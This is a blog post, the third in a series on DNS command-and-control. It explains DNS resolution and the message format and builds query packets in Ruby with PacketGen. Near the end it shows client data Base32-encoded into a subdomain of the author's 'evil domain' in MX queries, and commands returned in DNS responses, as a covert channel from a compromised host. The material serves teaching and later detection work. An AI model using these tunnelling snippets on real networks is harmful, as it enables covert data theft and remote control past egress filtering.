DNS C2 Part 3: Using DNS

In the first post I went over setting up an authoritative DNS server. In the the second post I went over setting up and running dnscat2. In this post I want to do a shallow dive into DNS. I’ll do a quick cover on DNS packets and a very brief touch on how DNS functions. Also, I’ll break down sending some DNS packets on the wire with the handy Ruby gem PacketGen.

Fun With DNS

What is it good for?

If you are reading this it seems pretty likely you have an idea of what DNS does. In the interest of completeness, DNS is used to map names (something you can remember like Google.com) to an IP address (8.8.8.8). This is accomplished through queries and responses (and updates which we won’t worry about here).

Queries and Responses

A quick rundown on how this happens. While this isn’t all strictly necessary to look at our C2 traffic it is worth understanding for lots of situations. A critical part of the process is knowning that if I don’t know the address I’m looking for I can start at the root and work my way down. I don’t know the IP for www.Google.com but I do know the servers that knows all the .com servers. It doesn’t know www.Google.com but it does have the nameservers for Google.com. I can then use that info to ask Google.com the address of www.Google.com. The two concepts that help me grasp how this is accomplished are recursive vs iterative queries.

recursive

This is probably what your local DNS server will do for you when you send a query.

  • The DNS server gets the query and checks if it knows the IP address (this happens in either query type)
  • if not it will query the root server
  • the root server can reply and tell us where to find the servers for the TLD (.com)
  • and use that data to query the next nameserver down the line
  • it will continue this process until it has the IP address the client is looking for (and essentially become a client itself).

The process as a whole makes more sense when you understand how iterative queries tie in.

iterative

This is the kind of query that happens when a nameserver doesn’t know the address of a host but can refer the requestor to a nameserver that knows more than it does. This is iterative because the server we ask points us to the next server instead of performing the lookup for us.

Packets

Now that we’ve covered some of the high points of what part of the process looks like it might make sense to take a look at some of this data applied. First, let’s look at the format of a DNS message:

+---------------------+
|        Header       |
+---------------------+
|       Question      | the question for the name server
+---------------------+
|        Answer       | Resource Records (RRs) answering the question
+---------------------+
|      Authority      | RRs pointing toward an authority
+---------------------+
|      Additional     | RRs holding additional information
+---------------------+

I always feel like I grasp a topic better when I can see the representation of an idea. To that end, I thought it would be helpful to write some simple code (in Ruby of course) to see an applied version of what we are talking about.

I really like the PacketGen library because it strikes a great balance between abstracting some of the hard stuff while giving you low-level access to a packet (check here for a quick TCP/IP refresher). So let’s walk up the stack as we build our example packet:

[1] pry(main)> require 'packetgen'
=> true

PacketGen should autofill the ethernet addresses etc. if when you generate an IP packet. For whatever reason it wasn’t working on my mac and I didn’t feel like troubleshooting. So I started building my packet all the way from the bottom.

I am setting my default gateway as the destination here:

[2] pry(main)> pkt = PacketGen.gen('Eth', src: '8c:85:90:58:73:77', dst: '30:b5:c2:7e:8b:94')
-- PacketGen::Packet ------------------------------------------------
---- PacketGen::Header::Eth -----------------------------------------
           MacAddr          dst: 30:b5:c2:7e:8b:94
           MacAddr          src: 8c:85:90:58:73:77
           Int16    ethertype: 0          (0x0000)

Next, I added my default gateway IP as the destination for the IP address. I did this because I know my router will perform DNS lookups for me (ie. act as my local DNS server as far as my computer is concerned):

[3] pry(main)> pkt.add('IP', src: '192.168.1.104', dst: '192.168.1.1')
-- PacketGen::Packet ------------------------------------------------
---- PacketGen::Header::Eth -----------------------------------------
           MacAddr          dst: 30:b5:c2:7e:8b:94
           MacAddr          src: 8c:85:90:58:73:77
             Int16    ethertype: 2048       (0x0800)
---- PacketGen::Header::IP ------------------------------------------
              Int8           u8: 69         (0x45)
                        version: 4
                            ihl: 5
              Int8          tos: 0          (0x00)
             Int16       length: 20         (0x0014)
             Int16           id: 8683       (0x21eb)
             Int16         frag: 0          (0x0000)
                          flags: none
                    frag_offset: 0          (0x0000)
              Int8          ttl: 64         (0x40)
              Int8     protocol: 0          (0x00)
             Int16     checksum: 0          (0x0000)
              Addr          src: 192.168.1.104
              Addr          dst: 192.168.1.1
           Options      options:

This is a standard DNS query so we set the UDP header:

[4] pry(main)> pkt.add('UDP')
-- PacketGen::Packet ------------------------------------------------
---- PacketGen::Header::Eth -----------------------------------------
           MacAddr          dst: 30:b5:c2:7e:8b:94
           MacAddr          src: 8c:85:90:58:73:77
             Int16    ethertype: 2048       (0x0800)
---- PacketGen::Header::IP ------------------------------------------
              Int8           u8: 69         (0x45)
                        version: 4
                            ihl: 5
              Int8          tos: 0          (0x00)
             Int16       length: 20         (0x0014)
             Int16           id: 8683       (0x21eb)
             Int16         frag: 0          (0x0000)
                          flags: none
                    frag_offset: 0          (0x0000)
              Int8          ttl: 64         (0x40)
              Int8     protocol: 17         (0x11)
             Int16     checksum: 0          (0x0000)
              Addr          src: 192.168.1.104
              Addr          dst: 192.168.1.1
           Options      options:
---- PacketGen::Header::UDP -----------------------------------------
             Int16        sport: 0          (0x0000)
             Int16        dport: 0          (0x0000)
             Int16       length: 8          (0x0008)
             Int16     checksum: 0          (0x0000)

Now we make it to the DNS portion of our packet. We start by adding the header.

[5] pry(main)> pkt.add('DNS')
-- PacketGen::Packet ------------------------------------------------
---- PacketGen::Header::Eth -----------------------------------------
           MacAddr          dst: 30:b5:c2:7e:8b:94
           MacAddr          src: 8c:85:90:58:73:77
             Int16    ethertype: 2048       (0x0800)
---- PacketGen::Header::IP ------------------------------------------
              Int8           u8: 69         (0x45)
                        version: 4
                            ihl: 5
              Int8          tos: 0          (0x00)
             Int16       length: 20         (0x0014)
             Int16           id: 8683       (0x21eb)
             Int16         frag: 0          (0x0000)
                          flags: none
                    frag_offset: 0          (0x0000)
              Int8          ttl: 64         (0x40)
              Int8     protocol: 17         (0x11)
             Int16     checksum: 0          (0x0000)
              Addr          src: 192.168.1.104
              Addr          dst: 192.168.1.1
           Options      options:
---- PacketGen::Header::UDP -----------------------------------------
             Int16        sport: 53         (0x0035)
             Int16        dport: 53         (0x0035)
             Int16       length: 8          (0x0008)
             Int16     checksum: 0          (0x0000)
---- PacketGen::Header::DNS -----------------------------------------
             Int16           id: 0          (0x0000)
             Flags        flags:
           Integer       opcode: query      (0)
           Integer        rcode: ok         (0)
             Int16      qdcount: 0          (0x0000)
             Int16      ancount: 0          (0x0000)
             Int16      nscount: 0          (0x0000)
             Int16      arcount: 0          (0x0000)
         QDSection           qd:
         RRSection           an:
         RRSection           ns:
         RRSection           ar:

PacketGen gives an easy way to access each of the important data sections of the DNS packet (it gives easy access to the header fields too):

#qd, question section,
#an, answer section,
#ns, authority section,
#ar, additional information section.

Since the initial focus here is sending data from a client to our C2 server lets look at what the question section looks like:

0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                                               |
/                     QNAME                     /
/                                               /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QTYPE                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QCLASS                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

The QNAME is what we might be most interested in at first. This is the URL who’s IP address needs resolving. This value is split into “labels.” For example, host.com would be split into two labels.

  • label1 -> host
  • label2 -> com

Each label is then encoded and preceded by an unsigned integer byte (this is the number of bytes in the section). The section is ultimately be terminated with a zero byte (00).
QTYPE is the type of record you want to lookup (eg. A records = 1).
QCLASS is the class you are looking up. I only know of Internet which is IN.

A sample A record query can be generated with PacketGen like so:

[6] pry(main)> pkt.dns.qd << { rtype: 'Question', name: 'lo-sec.ninja' }
[---- PacketGen::Header::DNS::Question ------------------------------
              Name         name: lo-sec.ninja.
         Int16Enum         type: A          (0x0001)
         Int16Enum      rrclass: IN         (0x0001)
]

Don’t forget you might need to set the rd value so you have a recursive query:

[13] pry(main)> pkt.dns.rd = true
=> true

PacketGen will calculate and fill in the checksum and length fields for us with the calc method:

[7] pry(main)> pkt.calc

If you are playing around with this don’t forget to update your packet with pkt.calc before sending each time you make any changes.

Now we are ready to test it all out by sending our packet on the wire:

[8] pry(main)> pkt.to_w('en0')
=> #<PCAPRUB::Pcap:0x00007f95fc260338>

My approach to checking out if this worked is to watch the traffic with tcpdump:

sudo tcpdump -vv -i en0 port 53
tcpdump: listening on en0, link-type EN10MB (Ethernet), capture size 262144 bytes
21:14:19.855344 IP (tos 0x0, ttl 64, id 8683, offset 0, flags [none], proto UDP (17), length 58)
    192.168.1.104.domain > 192.168.1.1.domain: [udp sum ok] 0+ A? lo-sec.ninja. (30)
21:14:19.880526 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 90)
    192.168.1.1.domain > 192.168.1.104.domain: [udp sum ok] 0 q: A? lo-sec.ninja. 2/0/0 lo-sec.ninja. A 104.28.23.177, lo-sec.ninja. A 104.28.22.177 (62)

Looks like success to me. So how might we send data like this? So we can stick data in a request that will get from the compromised host, but we need to think about how that data gets back to the host after the name request. This is where we might consider various record types.

Keep in mind that this works well because DNS is such a critical part of any access to the internet. Even if you are heavily filtering outbound traffic you probably still allow DNS name resolution to continue.

Record Types

DNS Resources Records store data in any one of these types of records. The first is the typical “I give name you give IP” situation:

A : record specifies an IP address for a given hostname.

The next two are interesting because they give an easy way to include more data than just an IP address:

CNAME and MX : records can point to textual data representing the alias or mailing host of a particular hostname.

You’ve probably seen TXT records used for lots of various things such as SPF. Again, this seems like a great place to stick some data: > TXT : records are designed to store arbitrary textual data up to 255 characters.

Back to packetgen. We are going to create an MX query to our evil domain. In the packet, this is done by updating the QTYPE field to 0x000f. For packetgen we just have to supply for the type value:

client
"hey its me" -> NBSXSIDJORZSA3LF

pkt.dns.qd << { rtype: 'Question', name: 'NBSXSIDJORZSA3LF.lo-sec.ninja', type: 'MX' }

I won’t walk through all the ins and outs of setting up the code for the C2 server as PacketGen makes it pretty easy but at the end, you just need to stuff some data in your MX response.

server
"good now do stuff yo" -> M5XW6ZBANZXXOIDEN4QHG5DVMZTCA6LP
dns.an << { rtype: 'RR', name: 'example.net', type: 'NS', rdata: "M5XW6ZBANZXXOIDEN4QHG5DVMZTCA6LP" }

dnscat2

I learned a lot of things just by examining the codebase for dnscat2. I’ve decided to split this last post into two pieces. The one above covering how data might move via DNS records. In the next post, we will do a sort of mock dissection of a captured dnscat2 session with a focus on how it might look forensically and highlight potential targets for alerting and detection.


1859 Words

2018-08-12 12:34 -0700